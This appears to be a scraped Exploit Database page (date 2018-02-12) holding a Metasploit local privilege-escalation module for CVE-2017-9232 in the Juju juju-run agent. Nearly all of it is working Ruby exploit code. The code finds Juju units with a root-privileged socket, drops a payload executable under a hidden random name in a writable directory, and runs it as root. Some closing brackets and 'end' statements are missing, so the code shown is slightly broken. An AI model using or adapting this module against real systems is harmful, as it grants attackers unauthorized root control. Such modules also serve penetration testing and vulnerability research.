Juju-run Agent – Privilege Escalation (Metasploit)

Exploit Database
120 阅读

作者： Metasploit

日期： 2018-02-12
类别：
- local
平台：
- linux
来源：https://www.exploit-db.com/exploits/44023/

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

# This module requires Metasploit: https://metasploit.com/download

# Current source: https://github.com/rapid7/metasploit-framework

class MetasploitModule < Msf::Exploit::Local

Rank = ExcellentRanking

include Msf::Post::File

include Msf::Exploit::EXE

include Msf::Exploit::FileDropper

def initialize(info = {})

super(update_info(info,

'Name' => 'Juju-run Agent Privilege Escalation',

'Description'=> %q{

This module attempts to gain root privileges on Juju agent systems

running the juju-run agent utility.

Juju agent systems running agent tools prior to version 1.25.12,

2.0.x before 2.0.4, and 2.1.x before 2.1.3, provide a UNIX domain socket

to manage software ("units") without setting appropriate permissions,

allowing unprivileged local users to execute arbitrary commands as root.

This module has been tested successfully with Juju agent tools versions

1.18.4, 1.25.5 and 1.25.9 on Ubuntu 14.04.1 LTS x86 deployed by Juju

1.18.1-trusty-amd64 and 1.25.6-trusty-amd64 on Ubuntu 14.04.1 LTS x86_64.

'License'=> MSF_LICENSE,

'Author' =>

[

'Ryan Beisner', # Discovery and PoC

'David Ames (@thedac)', # Discovery and PoC

'Brendan Coles <bcoles[at]gmail.com>' # Metasploit

'DisclosureDate' => 'Apr 13 2017',

'Platform' => [ 'linux' ],

'Arch' => [ ARCH_X86, ARCH_X64 ],

'SessionTypes' => [ 'shell', 'meterpreter' ],

'Targets'=> [[ 'Auto', {} ]],

'References' =>

[

[ 'CVE', '2017-9232' ],

[ 'BID', '98737' ],

[ 'URL', 'https://bugs.launchpad.net/juju/+bug/1682411' ]

]

))

register_options(

[

OptString.new('UNIT', [ false, 'A valid Juju unit name', '' ]),

OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])

])

end

def check

juju_run_path = cmd_exec 'which juju-run'

if juju_run_path.start_with? '/'

vprint_good 'juju-run is installed'

return CheckCode::Detected

end

vprint_error 'juju-run is NOT installed'

CheckCode::Safe

end

def unit_names

units = []

cmd_exec('/bin/ls -m /var/log/juju/*.log').chomp.split(/,\s*/).each do |log|

units << ::File.basename(log).gsub(/\.log$/, '')

end

cmd_exec('/bin/ls -m /var/lib/juju/agents/').chomp.split(/,\s*/).each do |agent|

units << ::File.basename(agent)

end

units.uniq

end

def execute_command(cmd, opts = {})

cmd_exec "juju-run #{opts['unit']} '#{cmd}'"

end

def upload_and_chmodx(path, data)

print_status "Writing '#{path}' (#{data.size} bytes) ..."

rm_f path

write_file path, data

cmd_exec "chmod +x '#{path}'"

register_file_for_cleanup path

end

def exploit

if check != CheckCode::Detected

fail_with Failure::NotVulnerable, 'Target is not vulnerable'

end

units = datastore['UNIT'].blank? ? unit_names : [ datastore['UNIT'] ]

if units.empty?

fail_with Failure::Unknown, "Could not find any Juju units. Try specifying a 'UNIT'"

end

# Check each unit for a privileged socket

print_status "Trying #{units.size} units..."

socket_unit = nil

unit_names.each do |unit|

id = execute_command 'id', 'unit' => unit

if id.include? 'root'

print_good "Unit #{unit.inspect} uses a privileged socket"

socket_unit = unit

break

end

if socket_unit.nil?

fail_with Failure::NotVulnerable, 'Could not find any Juju units using a privileged socket'

end

# Upload payload executable

payload_name = ".#{rand_text_alphanumeric rand(5..10)}"

payload_path = "#{datastore['WritableDir']}/#{payload_name}"

upload_and_chmodx payload_path, generate_payload_exe

# Execute payload executable

vprint_status 'Executing payload...'

execute_command payload_path, 'unit' => socket_unit

end